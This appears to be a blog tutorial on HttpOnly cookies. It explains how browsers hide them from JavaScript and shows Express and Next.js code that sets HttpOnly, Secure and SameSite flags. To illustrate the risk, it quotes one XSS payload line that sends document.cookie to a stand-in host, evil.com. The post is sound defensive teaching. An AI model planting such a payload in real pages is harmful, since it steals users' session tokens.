Bitlyst

Understanding HttpOnly Cookies in Depth

๐Ÿช Understanding HttpOnly Cookies

HttpOnly cookies are a type of browser cookie that cannot be accessed via JavaScript.
They are designed to protect sensitive data โ€” especially authentication tokens โ€” from attacks like Cross-Site Scripting (XSS).


๐Ÿ” What Does HttpOnly Mean?

When you set the HttpOnly flag on a cookie, the browser stores it but never exposes it to document.cookie or JavaScript APIs.

That means:

console.log(document.cookie);
// โŒ You will NOT see HttpOnly cookies here.

The cookie still goes to the server automatically with every HTTP request to the same origin.


โš™๏ธ How Browsers Enforce It

Browsers handle HttpOnly cookies internally:

  1. The server sets a cookie with Set-Cookie header.
  2. The browser stores it securely.
  3. On every request to the same domain/path, the browser attaches the cookie in the Cookie header.
  4. JavaScript cannot read or modify it.

โœ… This prevents attackers from stealing session tokens via injected scripts.


๐Ÿšง Why It's Important

Without HttpOnly, an attacker who injects JavaScript (via XSS) could do:

fetch('https://evil.com?cookie=' + document.cookie);

This would expose your session token.
With HttpOnly, that attack fails.


๐Ÿ’ก Secure + HttpOnly = Best Practice

You should always combine:

  • HttpOnly โ†’ hides cookie from JavaScript
  • Secure โ†’ only send over HTTPS
  • SameSite โ†’ restricts cross-site sending (helps prevent CSRF)

Example header:

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

๐Ÿงฑ Example: Express Backend

import express from "express";
import cookieParser from "cookie-parser";

const app = express();
app.use(cookieParser());

app.post("/login", (req, res) => {
  const token = "user_jwt_token_here";
  res.cookie("token", token, {
    httpOnly: true,
    secure: true,
    sameSite: "strict",
  });
  res.send("Logged in!");
});

app.get("/profile", (req, res) => {
  // You can access it on server:
  const token = req.cookies.token;
  res.json({ message: "Token exists?", token: !!token });
});

app.listen(3001, () => console.log("โœ… Express running on port 3001"));

โš›๏ธ Example: Next.js API Route

// pages/api/login.ts
import type { NextApiRequest, NextApiResponse } from "next";
import { serialize } from "cookie";

export default function handler(req: NextApiRequest, res: NextApiResponse) {
  const token = "jwt_token_here";

  res.setHeader(
    "Set-Cookie",
    serialize("token", token, {
      httpOnly: true,
      secure: process.env.NODE_ENV === "production",
      sameSite: "strict",
      maxAge: 60 * 60 * 24 * 7, // 7 days
      path: "/",
    })
  );

  res.status(200).json({ success: true });
}

Now your cookie is automatically sent with every request โ€” but never visible to document.cookie.


๐Ÿง  Behind the Scenes

When you refresh the page:

  • Browser checks stored cookies for matching domain/path.
  • Attaches them automatically in the Cookie header.
  • Server reads them and can validate session or JWT.

No need for localStorage or client-side access.

This reduces attack surface dramatically โ€” because even if the client is compromised, tokens arenโ€™t exposed to script access.


โš”๏ธ Common Mistakes

โŒ Setting cookies in client-side JS โ†’ breaks security
โœ… Always set cookies via Set-Cookie header from server.

โŒ Storing JWTs in localStorage
โœ… Store them in HttpOnly cookies instead.


๐Ÿ” Summary

FeatureDescriptionPrevents
HttpOnlyHides cookie from JavaScriptXSS
SecureSends only over HTTPSMITM
SameSiteRestricts cross-siteCSRF
Server-set cookieControlled by backendTampering

๐Ÿš€ Key Takeaway

Store your auth tokens in HttpOnly cookies, not in localStorage.
They protect against XSS by design โ€” one of the simplest and strongest web security patterns.

How did you like this post?

๐Ÿ‘0
โค๏ธ0
๐Ÿ”ฅ0
๐Ÿค”0
๐Ÿ˜ฎ0